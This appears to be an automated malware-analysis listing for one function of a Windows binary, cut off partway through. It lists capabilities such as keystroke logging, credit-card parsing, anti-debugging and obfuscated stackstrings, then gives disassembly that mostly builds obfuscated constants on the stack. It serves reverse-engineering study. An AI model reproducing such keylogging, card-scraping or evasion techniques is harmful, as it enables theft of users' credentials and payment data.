Function at 0x140011710
Capabilities:
Authenticate hmac
Check for software breakpoints
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Get common file path
Get file version info
Log keystrokes via polling
Parse credit card information

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1ef58
call fcn.14014c3e0
sub rsp, rax
mov dword [rsp + 0x24b8], 0x41fbc2d5
mov dword [rsp + 0x24bc], 0x70527dab
mov eax, 0xe4c
mov word [rsp + 0x798], ax
mov eax, 0xc8
mov word [rsp + 0x79c], ax
mov dword [rsp + 0x24c0], 0x2701948d
mov dword [rsp + 0x24c4], 0x81ebda11
mov eax, 0xf83
mov word [rsp + 0x7a0], ax
mov eax, 0xefe
mov word [rsp + 0x7a4], ax
movabs rax, 0xbcd7b8e9ee3f3037
mov qword [rsp + 0x43d8], rax
mov byte [rsp + 0x50], 0x80
mov eax, 0x42b
mov word [rsp + 0x7a8], ax
mov byte [rsp + 0x51], 0x55
mov dword [rsp + 0x24c8], 0x3b34a08f
mov eax, 0x3658
mov word [rsp + 0x7ac], ax
mov dword [rsp + 0x24cc], 0x900ec672
mov byte [rsp + 0x52], 0x5e
mov eax, 0x60b
mov word [rsp + 0x7b0], ax
mov byte [rsp + 0x53], 0x6b
mov dword [rsp + 0x24d0], 0x3d50c8da
movabs rax, 0x6c001c78c269d6c2
mov qword [rsp + 0x43e0], rax
movabs rax, 0x82a59ddc9690e411
mov qword [rsp + 0x43e8], rax
mov eax, 0x6c5
mov word [rsp + 0x7b4], ax
mov eax, 0x5dee
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0x54], 0x30
movabs rax, 0xec2c57b0689ba3d2
mov qword [rsp + 0x43f0], rax
movabs rax, 0x41b354e6e1b81817
mov qword [rsp + 0x43f8], rax
movabs rax, 0xdac7bd9cebb3225
mov qword [rsp + 0x4400], rax
movabs rax, 0x2957cb5bef111622
mov qword [rsp + 0x4408], rax
movabs rax, 0x79295e4401d8d02
mov qword [rsp + 0x4410], rax
mov dword [rsp + 0x24d4], 0x7a9c29b8
mov eax, 0x1f1
mov word [rsp + 0x7bc], ax
mov eax, 0x6614
mov word [rsp + 0x7c0], ax
mov eax, 0x25bb
mov word [rsp + 0x7c4], ax
mov dword [rsp + 0x24d8], 0x132dbb3e
mov eax, 0xec7
mov word [rsp + 0x7c8], ax
mov byte [rsp + 0x55], 0x2f
mov dword [rsp + 0x24dc], 0x2d4abddc
mov byte [rsp + 0x56], 0x2a
movabs rax, 0x393ad83536b5747c
mov qword [rsp + 0x4418], rax
mov byte [rsp + 0x57], 0x94
mov dword [rsp + 0x24e0], 0x84c74fd1
mov dword [rsp + 0x24e4], 0xa0c5ab68
mov dword [rsp + 0x24e8], 0x8aa3aea9
mov dword [rsp + 0x24ec], 0x476a6c36
movabs rax, 0x79117df9de3287c4
mov qword [rsp + 0x4420], rax
mov byte [rsp + 0x58], 0x27
mov dword [rsp + 0x24f0], 0xc0208eba
mov eax, 0x279
mov word [rsp + 0x7cc], ax
movabs rax, 0x5979c4ecd88fea59
mov qword [rsp + 0x4428], rax
movabs rax, 0xef83b67471663647
mov qword [rsp + 0x4430], rax
mov eax, 0x1c82
mov word [rsp + 0x7d0], ax
movabs rax, 0xcb6399217142eaa
mov qword [rsp + 0x4438], rax
mov byte [rsp + 0x59], 0x29
mov byte [rsp + 0x5a], 0x34
mov byte [rsp + 0x5b], 0x70
mov byte [rsp + 0x5c], 0x89
mov byte [rsp + 0x5d], 0x23
movabs rax, 0x155772fbc554b83c
mov qword [rsp + 0x4440], rax
mov byte [rsp + 0x5e], 0x50
mov dword [rsp + 0x24f4], 0x897422b
movabs rax, 0x7cf675186ef95b90
mov qword [rsp + 0x4448], rax
movabs rax, 0x7354e69a4e44f07a
mov qword [rsp + 0x4450], rax
movabs rax, 0x7b44ce09e4ac9ac3
mov qword [rsp + 0x4458], rax
mov eax, 0x3433
mov word [rsp + 0x7d4], ax
movabs rax, 0xb33b97bc346e03d
mov qword [rsp + 0x4460], rax
movabs rax, 0x6bf9dea835f92e51
mov qword [rsp + 0x4468], rax
movabs rax, 0x1390bf29d511487a
mov qword [rsp + 0x4470], rax
mov byte [rsp + 0x5f], 0x3c
mov byte [rsp + 0x60], 0x44
movabs rax, 0x68987f1224e3659a
mov qword [rsp + 0x4478], rax
mov byte [rsp + 0x61], 0
mov eax, 0xbfb
mov word [rsp + 0x7d8], ax
mov byte [rsp + 0x62], 0x3e
mov byte [rsp + 0x63], 0x34
mov byte [rsp + 0x64], 0x7d
mov eax, 0x3364
mov word [rsp + 0x7dc], ax
movabs rax, 0xcfb74f0fa2e8e10b
mov qword [rsp + 0x4480], rax
mov dword [rsp + 0x24f8], 0x55a415cd
mov eax, 0x517e
mov word [rsp + 0x7e0], ax
mov eax, 0x7f9b
mov word [rsp + 0x7e4], ax
mov dword [rsp + 0x24fc], 0xef0b4d01
movabs rax, 0x60b1c5bdb613de6f
mov qword [rsp + 0x4488], rax
mov dword [rsp + 0x2500], 0x382a206a
mov byte [rsp + 0x65], 0x49
mov eax, 0x3f1a
mov word [rsp + 0x7e8], ax
mov eax, 0x106
mov word [rsp + 0x7ec], ax
mov byte [rsp + 0x66], 0x64
mov byte [rsp + 0x67], 0x2e
mov eax, 0x99f
mov word [rsp + 0x7f0], ax
mov eax, 0x17f
mov word [rsp + 0x7f4], ax
mov eax, 0x4963
mov word [rsp + 0x7f8], ax
movabs rax, 0x8bb6c0134319f3a
mov qword [rsp + 0x4490], rax
mov dword [rsp + 0x2504], 0x29b76f0a
movabs rax, 0x643fe171177064b4
mov qword [rsp + 0x4498], rax
mov byte [rsp + 0x68], DrawInsert
mov eax, 0x755c
mov word [rsp + 0x7fc], ax
mov dword [rsp + 0x2508], 0xee88c257
mov byte [rsp + 0x69], 0xb0
mov dword [rsp + 0x250c], 0x38813879
movabs rax, 0x4ad38f0ec2de13ae
mov qword [rsp + 0x44a0], rax
mov byte [rsp + 0x6a], 0x66
movabs rax, 0x78058676da04f36b
mov qword [rsp + 0x44a8], rax
movabs rax, 0x1a7e082d61d0c470
mov qword [rsp + 0x44b0], rax
movabs rax, 0x8124730fef3f5b57
mov qword [rsp + 0x44b8], rax
mov dword [rsp + 0x2510], 0x86e9ce38
mov eax, 0xc36
mov word [rsp + 0x800], ax
mov eax, 0x4929
mov word [rsp + 0x804], ax
mov dword [rsp + 0x2514], 0x4512e4ad
movabs rax, 0x68099c2e5cb56cfe
mov qword [rsp + 0x44c0], rax
mov eax, 0x6a6a
mov word [rsp + 0x808], ax
mov dword [rsp + 0x2518], 0x39c4b0b6
mov eax, 0x3ae4
mov word [rsp + 0x80c], ax
mov dword [rsp + 0x251c], 0x99cd442c
movabs rax, 0x43b5d1ecbcf49b7c
mov qword [rsp + 0x44c8], rax
mov dword [rsp + 0x2520], 0x4d8b4e12
mov byte [rsp + 0x6b], 0x4d
movabs rax, 0x918c9ea53acc878d
mov qword [rsp + 0x44d0], rax
mov eax, 0x5afb
mov word [rsp + 0x810], ax
movabs rax, 0x7342f140e2b0f1d
mov qword [rsp + 0x44d8], rax
mov dword [rsp + 0x2524], 0xb3f82009
mov eax, 0x5fb
mov word [rsp + 0x814], ax
mov eax, 0x52ff
mov word [rsp + 0x818], ax
movabs rax, 0x1a781fac212c57dc
mov qword [rsp + 0x44e0], rax
movabs rax, 0xb34efb76138de8ce
mov qword [rsp + 0x44e8], rax
movabs rax, 0x4c2aff56beb1e26c
mov qword [rsp + 0x44f0], rax
mov eax, 0x9f9
mov word [rsp + 0x81c], ax
mov byte [rsp + 0x6c], 0x64
movabs rax, 0xc51c2649fa95c1c
mov qword [rsp + 0x44f8], rax
mov byte [rsp + 0x6d], 0x26
mov byte [rsp + 0x6e], 0x37
mov byte [rsp + 0x6f], 0xd2
mov dword [rsp + 0x2528], 0x273e73a2
movabs rax, 0xbad86a45c2ff1ee
mov qword [rsp + 0x4500], rax
mov byte [rsp + 0x70], 0x11
mov dword [rsp + 0x252c], 0x1ff959e0
movabs rax, 0x3da374a5d386d054
mov qword [rsp + 0x4508], rax
mov dword [rsp + 0x2530], 0x7a1642b1
movabs rax, 0x3bc520c4fedba331
mov qword [rsp + 0x4510], rax
mov eax, 0x58f
mov word [rsp + 0x820], ax
mov eax, 0x3b0
mov word [rsp + 0x824], ax
mov eax, 0x80
mov word [rsp + 0x828], ax
mov dword [rsp + 0x2534], 0x29fe2347
mov eax, 0x1658
mov word [rsp + 0x82c], ax
mov eax, 0xddf
mov word [rsp + 0x830], ax
movabs rax, 0x186258ada8fd1c67
mov qword [rsp + 0x4518], rax
mov dword [rsp + 0x2538], 0x4a1abaec
mov byte [rsp + 0x71], 0x94
mov dword [rsp + 0x253c], 0x6a66dbe0
mov dword [rsp + 0x2540], 0x7966d575
mov byte [rsp + 0x72], 0x10
mov dword [rsp + 0x2544], 0x7d6b75af
mov byte [rsp + 0x73], 0x39
movabs rax, 0x92133d04264653c2
mov qword [rsp + 0x4520], rax
movabs rax, 0x4ff122e6f0e9e738
mov qword [rsp + 0x4528], rax
mov byte [rsp + 0x74], 0x35
mov dword [rsp + 0x2548], 0x524d7840
mov byte [rsp + 0x75], 0x58
movabs rax, 0x212271832a6682cf
mov qword [rsp + 0x4530], rax
mov byte [rsp + 0x76], 0x2e
mov byte [rsp + 0x77], 1
movabs rax, 0x55ca2327eba4b810
mov qword [rsp + 0x4538], rax
mov byte [rsp + 0x78], 0x3f
mov byte [rsp + 0x79], 0x55
mov byte [rsp + 0x7a], 0xa8
mov dword [rsp + 0x254c], 0x57a8163b
mov eax, 0xde6
mov word [rsp + 0x834], ax
mov byte [rsp + 0x7b], 0x42
mov dword [rsp + 0x2550], 0x64b3e004
mov dword [rsp + 0x2554], 0x3ad92cf0
mov dword [rsp + 0x2558], 0x8fdb791b
mov eax, 0x56f
mov word [rsp + 0x838], ax
mov byte [rsp + 0x7c], 0x3a
mov byte [rsp + 0x7d], 0x65
mov byte [rsp + 0x7e], 0x3e
mov dword [rsp + 0x255c], 0x7c400b48
movabs rax, 0x118cf83465d445ef
mov qword [rsp + 0x4540], rax
mov byte [rsp + 0x7f], 0xb5
movabs rax, 0xedf533c3c5ad16a0
mov qword [rsp + 0x4548], rax
mov dword [rsp + 0x2560], 0x5a0d09c2
movabs rax, 0x18b94a9921754d91
mov qword [rsp + 0x4550], rax
movabs rax, 0x233f4fa7fecbaec0
mov qword [rsp + 0x4558], rax
mov eax, 0x24ee
mov word [rsp + 0x83c], ax
mov byte [rsp + 0x80], 0x1e
movabs rax, 0x6d0b66ff27f3c641
mov qword [rsp + 0x4560], rax
mov dword [rsp + 0x2564], 0x45a25411
mov eax, 0xf53
mov word [rsp + 0x840], ax
movabs rax, 0x407d71e5b32fd3ac
mov qword [rsp + 0x4568], rax
mov eax, 0x200b
mov word [rsp + 0x844], ax
mov eax, 0x1c0
mov word [rsp + 0x848], ax
mov byte [rsp + 0x81], 3
mov byte [rsp + 0x82], 8
movabs rax, 0x634d5891fa0df4cd
mov qword [rsp + 0x4570], rax
mov byte [rsp + 0x83], 0x1c
mov byte [rsp + 0x84], 0x57
mov eax, 0xeb7
mov word [rsp + 0x84c], ax
mov byte [rsp + 0x85], 0x81
mov dword [rsp + 0x2568], 0x526c420c
mov byte [rsp + 0x86], 0x77
mov eax, 0x67e
mov word [rsp + 0x850], ax
movabs rax, 0x99230856dd28afec
mov qword [rsp + 0x4578], rax
mov byte [rsp + 0x87], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x1179
mov word [rsp + 0x854], ax
movabs rax, 0x4d4b72df093d1291
mov qword [rsp + 0x4580], rax
mov byte [rsp + 0x88], 0x6c
mov dword [rsp + 0x256c], 0xa2ff22c6
mov eax, 0x5dd8
mov word [rsp + 0x858], ax
mov eax, 0x3f8
mov word [rsp + 0x85c], ax
mov byte [rsp + 0x89], 0x58
mov eax, 0xe45
mov word [rsp + 0x860], ax
mov eax, 0xba3
mov word [rsp + 0x864], ax
mov byte [rsp + 0x8a], 0x50
mov eax, 0x86d
mov word [rsp + 0x868], ax
mov dword [rsp + 0x2570], 0x30785d0c
movabs rax, 0x4158f2f508403b02
mov qword [rsp + 0x4588], rax
mov eax, 0x502
mov word [rsp + 0x86c], ax
mov byte [rsp + 0x8b], 0x36
movabs rax, 0x592395c391d1c12d
mov qword [rsp + 0x4590], rax
mov eax, 0x9c7
mov word [rsp + 0x870], ax
mov dword [rsp + 0x2574], 0xb884f81
mov eax, 0x6a63
mov word [rsp + 0x874], ax
movabs rax, 0xe91439607af27
mov qword [rsp + 0x4598], rax
mov eax, 0x2f7f
mov word [rsp + 0x878], ax
mov dword [rsp + 0x2578], 0x1755a6ee
movabs rax, 0x743932c8fe1d6c8f
mov qword [rsp + 0x45a0], rax
mov dword [rsp + 0x257c], 0xb1bdf0a1
mov byte [rsp + 0x8c], 0xae
mov eax, 0xac6
mov word [rsp + 0x87c], ax
mov byte [rsp + 0x8d], 0x74
movabs rax, 0x605e5d201d4b2372
mov qword [rsp + 0x45a8], rax
mov byte [rsp + 0x8e], 0x60
mov eax, 0x3a2
mov word [rsp + 0x880], ax
mov dword [rsp + 0x2580], 0xb179c327
movabs rax, 0xcc0e49cb84d0f3b7
mov qword [rsp + 0x45b0], rax
mov eax, 0x253c
mov word [rsp + 0x884], ax
mov eax, 0xbae
mov word [rsp + 0x888], ax
mov eax, 0x5bd
mov word [rsp + 0x88c], ax
movabs rax, 0xf69aa44f02ce8d70
mov qword [rsp + 0x45b8], rax
mov eax, 7
mov word [rsp + 0x890], ax
mov byte [rsp + 0x8f], 0x67
mov eax, 0x57a5
mov word [rsp + 0x894], ax
mov byte [rsp + 0x90], 0x13
mov eax, 0x1f2b
mov word [rsp + 0x898], ax
mov byte [rsp + 0x91], 0x6f
mov eax, 0xccb
mov word [rsp + 0x89c], ax
mov dword [rsp + 0x2584], 0x950a2b57
mov eax, 0x2281
mov word [rsp + 0x8a0], ax
mov eax, 0xb94
mov word [rsp + 0x8a4], ax
mov eax, 0x76e8
mov word [rsp + 0x8a8], ax
mov eax, 0xa5b
mov word [rsp + 0x8ac], ax
movabs rax, 0x6a1513ec554b368
mov qword [rsp + 0x45c0], rax
movabs rax, 0x5d10437baca4eb0c
mov qword [rsp + 0x45c8], rax
mov byte [rsp + 0x92], 1
mov eax, 0x6706
mov word [rsp + 0x8b0], ax
mov eax, 0x71e
mov word [rsp + 0x8b4], ax
movabs rax, 0xae9599f422c20201
mov qword [rsp + 0x45d0], rax
movabs rax, 0x5a8ab22e14f068ef
mov qword [rsp + 0x45d8], rax
mov byte [rsp + 0x93], DrawInsert
mov byte [rsp + 0x94], 0x89
mov dword [rsp + 0x2588], 0x49b2f00b
mov eax, 0x14a3
mov word [rsp + 0x8b8], ax
mov byte [rsp + 0x95], 0x35
mov dword [rsp + 0x258c], 0x6192e620
mov eax, 0x460
mov word [rsp + 0x8bc], ax
mov byte [rsp + 0x96], 0x36
movabs rax, 0x2b23286abbc4c081
mov qword [rsp + 0x45e0], rax
movabs rax, 0x886c5fd574c1d61d
mov qword [rsp + 0x45e8], rax
mov dword [rsp + 0x2590], 0x3b30879b
movabs rax, 0x2de0fb5bdf15c0eb
mov qword [rsp + 0x45f0], rax
mov eax, 0x444b
mov word [rsp + 0x8c0], ax
mov dword [rsp + 0x2594], 0x71c7f563
movabs rax, 0x2ac534bf923894b0
mov qword [rsp + 0x45f8], rax
movabs rax, 0x3797f85d46171e5d
mov qword [rsp + 0x4600], rax
mov dword [rsp + 0x2598], 0x6c122521
mov dword [rsp + 0x259c], 0x9de009ac
movabs rax, 0x415ae3b7a38c352d
mov qword [rsp + 0x4608], rax
mov byte [rsp + 0x97], 0xf5
mov byte [rsp + 0x98], 0x75
mov eax, 0x62c5
mov word [rsp + 0x8c4], ax
mov dword [rsp + 0x25a0], 0x51a2d4f2
mov eax, 0x81e
mov word [rsp + 0x8c8], ax
movabs rax, 0x603c97f5c250b855
mov qword [rsp + 0x4610], rax
mov byte [rsp + 0x99], 0x26
mov byte [rsp + 0x9a], 0x53
mov eax, 0x803
mov word [rsp + 0x8cc], ax
mov eax, 0x1f2
mov word [rsp + 0x8d0], ax
movabs rax, 0xfe8ac845d717f834
mov qword [rsp + 0x4618], rax
mov dword [rsp + 0x25a4], 0x43ca47a7
mov dword [rsp + 0x25a8], 0xab3bdd54
mov byte [rsp + 0x9b], 0x40
movabs rax, 0xac85c85a189f70ef
mov qword [rsp + 0x4620], rax
mov eax, 0x5cb
mov word [rsp + 0x8d4], ax
mov dword [rsp + 0x25ac], 0x63b9d246
mov eax, 0x8cf
mov word [rsp + 0x8d8], ax
mov dword [rsp + 0x25b0], 0x218e3daa
mov byte [rsp + 0x9c], 0x76
movabs rax, 0x6b571c0090743f75
mov qword [rsp + 0x4628], rax
mov byte [rsp + 0x9d], 0x7c
mov byte [rsp + 0x9e], 0x73
mov dword [rsp + 0x25b4], 0x2a8d0e0
movabs rax, 0xf2f04ee814199e09
mov qword [rsp + 0x4630], rax
movabs rax, 0xadecdd1c5a5bfac7
mov qword [rsp + 0x4638], rax
mov eax, 0x821
mov word [rsp + 0x8dc], ax
movabs rax, 0x5cbe2af5881e972e
mov qword [rsp + 0x4640], rax
mov byte [rsp + 0x9f], 0x74
mov dword [rsp + 0x25b8], 0x1f58462c
movabs rax, 0x353e791e6303bca9
mov qword [rsp + 0x4648], rax
mov dword [rsp + 0x25bc], 0x6f020687
movabs rax, 0x99efa86dbd09d65e
mov qword [rsp + 0x4650], rax
mov byte [rsp + 0xa0], 0x19
mov eax, 0x3523
mov word [rsp + 0x8e0], ax
mov dword [rsp + 0x25c0], 0x607496bb
mov dword [rsp + 0x25c4], 0x317791ba
movabs rax, 0x91a9080a647bd594
mov qword [rsp + 0x4658], rax
mov byte [rsp + 0xa1], 0x31
mov byte [rsp + 0xa2], 0x43
mov byte [rsp + 0xa3], 0xa3
mov byte [rsp + 0xa4], 0x7c
mov byte [rsp + 0xa5], 0x2b
mov dword [rsp + 0x25c8], 0xcf840df7
movabs rax, 0x667ec4e1181ae395
mov qword [rsp + 0x4660], rax
movabs rax, 0x96d7ea3f531e81fc
mov qword [rsp + 0x4668], rax
mov eax, 0x8e9
mov word [rsp + 0x8e4], ax
movabs rax, 0x37fc7d135ae4fda5
mov qword [rsp + 0x4670], rax
movabs rax, 0x27f2d4e78ac625be
mov qword [rsp + 0x4678], rax
movabs rax, 0x58dbdd4b76c72f8d
mov qword [rsp + 0x4680], rax
movabs rax, 0x2b59e283a44bcc77
mov qword [rsp + 0x4688], rax
movabs rax, 0xe8cb2e11cb7766df
mov qword [rsp + 0x4690], rax
mov byte [rsp + 0xa6], 0x7b
movabs rax, 0xc546cd675f07acf8
mov qword [rsp + 0x4698], rax
mov byte [rsp + 0xa7], 0xbe
mov byte [rsp + 0xa8], 0x5c
mov eax, 0x840
mov word [rsp + 0x8e8], ax
mov dword [rsp + 0x25cc], 0xff685fc0
mov eax, 0xeec
mov word [rsp + 0x8ec], ax
mov dword [rsp + 0x25d0], 0xe0473e80
movabs rax, 0x80c2987d51268e82
mov qword [rsp + 0x46a0], rax
movabs rax, 0x77e779af1a3b0f82
mov qword [rsp + 0x46a8], rax
mov byte [rsp + 0xa9], 0x14
mov dword [rsp + 0x25d4], 0x54bbd5e6
mov dword [rsp + 0x25d8], 0x29044424
mov eax, 0x3eb5
mov word [rsp + 0x8f0], ax
mov eax, 0x32a
mov word [rsp + 0x8f4], ax
mov dword [rsp + 0x25dc], 0xdd05b9f3
mov byte [rsp + 0xaa], 0x94
mov dword [rsp + 0x25e0], 0x7b59ec68
mov byte [rsp + 0xab], 0x3b
mov eax, 0xe27
mov word [rsp + 0x8f8], ax
mov dword [rsp + 0x25e4], 0x7a3ea8b
mov eax, 0x8d5
mov word [rsp + 0x8fc], ax
mov byte [rsp + 0xac], 0x14
mov eax, 0x1dd5
mov word [rsp + 0x900], ax
movabs rax, 0x611751652fb7a782
mov qword [rsp + 0x46b0], rax
mov eax, 0x9f7
mov word [rsp + 0x904], ax
mov dword [rsp + 0x25e8], 0x313301b
mov byte [rsp + 0xad], 0x6e
mov eax, 0x23f
mov word [rsp + 0x908], ax
movabs rax, 0x2f98cfd1365f53b9
mov qword [rsp + 0x46b8], rax
mov dword [rsp + 0x25ec], 0x40914187
mov eax, 0xe55
mov word [rsp + 0x90c], ax
mov byte [rsp + 0xae], 0x4b
mov dword [rsp + 0x25f0], 0x1a1cf701
movabs rax, 0xf3d5851fef74a165
mov qword [rsp + 0x46c0], rax
mov dword [rsp + 0x25f4], 0xc696d57b
movabs rax, 0x2ecacf4f13751572
mov qword [rsp + 0x46c8], rax
mov byte [rsp + 0xaf], 0xe5
mov eax, 0x5232
mov word [rsp + 0x910], ax
mov dword [rsp + 0x25f8], 0x1991f6d9
movabs rax, 0x670c6f717d903cbe
mov qword [rsp + 0x46d0], rax
mov byte [rsp + 0xb0], 0x3e
mov byte [rsp + 0xb1], 0x48
mov dword [rsp + 0x25fc], 0xed68baf5
movabs rax, 0xca90c11c41012ff8
mov qword [rsp + 0x46d8], rax
mov dword [rsp + 0x2600], 0x49509f2e
mov eax, 0x6250
mov word [rsp + 0x914], ax
mov eax, 0x7f54
mov word [rsp + 0x918], ax
movabs rax, 0x61046dcce2e04e60
mov qword [rsp + 0x46e0], rax
movabs rax, 0x9632167aa24841d6
mov qword [rsp + 0x46e8], rax
mov eax, 0x32cf
mov word [rsp + 0x91c], ax
mov byte [rsp + 0xb2], 0x59
mov byte [rsp + 0xb3], reloc.COMCTL32.dll_MakeDragList
mov dword [rsp + 0x2604], 0x354d8a62
mov eax, 0x6493
mov word [rsp + 0x920], ax
mov eax, 0x2a43
mov word [rsp + 0x924], ax
mov eax, 0xffd
mov word [rsp + 0x928], ax
mov dword [rsp + 0x2608], 0x25509dc6
mov dword [rsp + 0x260c], 0x3a507d4a
mov byte [rsp + 0xb4], 0x86
movabs rax, 0xd5949177ec7f210
mov qword [rsp + 0x46f0], rax
mov byte [rsp + 0xb5], 0x98
mov eax, 0x21a0
mov word [rsp + 0x92c], ax
mov dword [rsp + 0x2610], 0x3c97aee2
mov eax, 0x3f6
mov word [rsp + 0x930], ax
movabs rax, 0x7fd230b4fa289f20
mov qword [rsp + 0x46f8], rax
mov byte [rsp + 0xb6], 1
mov byte [rsp + 0xb7], 0x5c
movabs rax, 0x5484fe51dd386e62
mov qword [rsp + 0x4700], rax
movabs rax, 0xcc9530675fc96d58
mov qword [rsp + 0x4708], rax
mov dword [rsp + 0x2614], 0xff008e
mov dword [rsp + 0x2618], 0x6b7fae9c
mov dword [rsp + 0x261c], 0x533bed5f
movabs rax, 0x1c1807d750b7e009
mov qword [rsp + 0x4710], rax
mov eax, 0x30b
mov word [rsp + 0x934], ax
movabs rax, 0x70d5782aeb82ef75
mov qword [rsp + 0x4718], rax
mov byte [rsp + 0xb8], 0x67
mov byte [rsp + 0xb9], 0x60
mov dword [rsp + 0x2620], 0xfd81a9b
mov byte [rsp + 0xba], 0x5e
mov eax, 0xa4
mov word [rsp + 0x938], ax
mov byte [rsp + 0xbb], 0x36
mov eax, 0xfc5
mov word [rsp + 0x93c], ax
mov dword [rsp + 0x2624], 0x7da6047a
movabs rax, 0x612e4894b6681cec
mov qword [rsp + 0x4720], rax
mov eax, 0xfcb
mov word [rsp + 0x940], ax
mov byte [rsp + 0xbc], 0xd5
mov eax, 0x168
mov word [rsp + 0x944], ax
movabs rax, 0x33ed2625737c538a
mov qword [rsp + 0x4728], rax
mov byte [rsp + 0xbd], 0x1e
mov dword [rsp + 0x2628], 0x6f66cd15
mov eax, 0x3ba7
mov word [rsp + 0x948], ax
mov dword [rsp + 0x262c], 0x2a88b344
mov eax, 0xf7e
mov word [rsp + 0x94c], ax
movabs rax, 0x58f147499cb5db25
mov qword [rsp + 0x4730], rax
movabs rax, 0x184b12e7722f0175
mov qword [rsp + 0x4738], rax
movabs rax, 0xbeff0710b93179c2
mov qword [rsp + 0x4740], rax
mov eax, 0x9f
mov word [rsp + 0x950], ax
movabs rax, 0x63689874dd58f8f2
mov qword [rsp + 0x4748], rax
mov eax, 0x249
mov word [rsp + 0x954], ax
mov byte [rsp + 0xbe], 0x3d
mov byte [rsp + 0xbf], 0x23
movabs rax, 0x5b396f27cccc898c
mov qword [rsp + 0x4750], rax
mov dword [rsp + 0x2630], 0x7d6b19aa
movabs rax, 0x1c592914fc19bd4
mov qword [rsp + 0x4758], rax
movabs rax, 0x565a23cccb2306e8
mov qword [rsp + 0x4760], rax
mov byte [rsp + 0xc0], 0x7e
mov byte [rsp + 0xc1], 0x53
mov byte [rsp + 0xc2], 0x8f
movabs rax, 0xcf7ffda3bdffe68
mov qword [rsp + 0x4768], rax
mov eax, 0x4b9
mov word [rsp + 0x958], ax
mov byte [rsp + 0xc3], 0xe2
movabs rax, 0x7e3a8c34d87b6046
mov qword [rsp + 0x4770], rax
mov byte [rsp + 0xc4], 0x15
mov byte [rsp + 0xc5], 0x39
movabs rax, 0xe668720174310964
mov qword [rsp + 0x4778], rax
movabs rax, 0xfd23d7b9f6eddf60
mov qword [rsp + 0x4780], rax
mov eax, 0xbf1
mov word [rsp + 0x95c], ax
mov eax, 0xe57
mov word [rsp + 0x960], ax
mov eax, 0x5e6d
mov word [rsp + 0x964], ax
mov eax, 0x2aca
mov word [rsp + 0x968], ax
movabs rax, 0xe1257c5f437254c6
mov qword [rsp + 0x4788], rax
mov byte [rsp + 0xc6], 0x22
mov eax, 0x14d
mov word [rsp + 0x96c], ax
mov dword [rsp + 0x2634], 0xec86c94f
movabs rax, 0xc5138533722bc920
mov qword [rsp + 0x4790], rax
mov eax, 0x42b
mov word [rsp + 0x970], ax
mov eax, 0x2e44
mov word [rsp + 0x974], ax
mov dword [rsp + 0x2638], 0x221d6615
mov byte [rsp + 0xc7], 0x76
movabs rax, 0x2cdca0a46c637057
mov qword [rsp + 0x4798], rax
mov byte [rsp + 0xc8], 6
movabs rax, 0x8f09a6f6d847d9c9
mov qword [rsp + 0x47a0], rax
mov eax, 0x7d0
mov word [rsp + 0x978], ax
mov eax, 0x1acc
mov word [rsp + 0x97c], ax
movabs rax, 0x49595998214b07da
mov qword [rsp + 0x47a8], rax
mov eax, 0x1ad
mov word [rsp + 0x980], ax
mov dword [rsp + 0x263c], 0x3d596854
mov eax, 0x4df
mov word [rsp + 0x984], ax
movabs rax, 0xd5f6b9e3c955c9f
mov qword [rsp + 0x47b0], rax
mov eax, 0x732
mov word [rsp + 0x988], ax
movabs rax, 0x41ef61c58fd41205
mov qword [rsp + 0x47b8], rax
mov byte [rsp + 0xc9], 0xd8
mov eax, 0xa77
mov word [rsp + 0x98c], ax
movabs rax, 0xe0d41a434283633
mov qword [rsp + 0x47c0], rax
mov dword [rsp + 0x2640], 0x4ed4bd31
mov eax, 0x93a
mov word [rsp + 0x990], ax
mov dword [rsp + 0x2644], 0x3a27b81d
mov byte [rsp + 0xca], 0x6b
mov eax, 0x4849
mov word [rsp + 0x994], ax
mov eax, 0x2da
mov word [rsp + 0x998], ax
mov dword [rsp + 0x2648], 0x1a4ce80d
mov byte [rsp + 0xcb], 0x25
mov eax, 0xdbc
mov word [rsp + 0x99c], ax
movabs rax, 0x533728b161d74f6c
mov qword [rsp + 0x47c8], rax
mov byte [rsp + 0xcc], 0xc7
mov byte [rsp + 0xcd], 0x54
mov eax, 0x6acf
mov word [rsp + 0x9a0], ax
mov byte [rsp + 0xce], 0x71
mov dword [rsp + 0x264c], 0x84f0e87
movabs rax, 0xf0ee9ad9387a87db
mov qword [rsp + 0x47d0], rax
mov eax, 0xe81
mov word [rsp + 0x9a4], ax
movabs rax, 0x6ac73e5a8ba6cf10
mov qword [rsp + 0x47d8], rax
movabs rax, 0x3e46a2ca10185ca2
mov qword [rsp + 0x47e0], rax
movabs rax, 0x30294fc99c05b161
mov qword [rsp + 0x47e8], rax
mov byte [rsp + 0xcf], 0x1d
movabs rax, 0x6e3d6326c509e71a
mov qword [rsp + 0x47f0], rax
mov byte [rsp + 0xd0], 0xd3
mov byte [rsp + 0xd1], 0x66
mov eax, 0x265d
mov word [rsp + 0x9a8], ax
mov dword [rsp + 0x2650], 0xee64b871
mov dword [rsp + 0x2654], 0xafcbc99
mov byte [rsp + 0xd2], 0x2e
mov dword [rsp + 0x2658], 0xca10f9c0
mov eax, 0x65df
mov word [rsp + 0x9ac], ax
movabs rax, 0x37791985aafe2243
mov qword [rsp + 0x47f8], rax
mov eax, 0x268
mov word [rsp + 0x9b0], ax
mov dword [rsp + 0x265c], 0x4cef6f83
movabs rax, 0x2c03a1990b7b3ce7
mov qword [rsp + 0x4800], rax
mov eax, 0xff3
mov word [rsp + 0x9b4], ax
mov byte [rsp + 0xd3], 0x49
mov dword [rsp + 0x2660], 0xb775377
mov dword [rsp + 0x2664], 0x81811f2e
mov eax, 0x37a5
mov word [rsp + 0x9b8], ax
mov dword [rsp + 0x2668], 0x80a2615e
mov byte [rsp + 0xd4], 0xfc
mov dword [rsp + 0x266c], 0x5c97326f
mov eax, 0x6720
mov word [rsp + 0x9bc], ax
mov byte [rsp + 0xd5], 0x6f
mov eax, 0xef0
mov word [rsp + 0x9c0], ax
mov byte [rsp + 0xd6], 0x55
movabs rax, 0x182cb4b1149b28a4
mov qword [rsp + 0x4808], rax
mov eax, 0x518
mov word [rsp + 0x9c4], ax
mov dword [rsp + 0x2670], 0x4a159c65
mov byte [rsp + 0xd7], 0x51
mov byte [rsp + 0xd8], 0x42
mov eax, 0x29a
mov word [rsp + 0x9c8], ax
mov dword [rsp + 0x2674], 0x63d73df4
mov dword [rsp + 0x2678], 0x9fdcd063
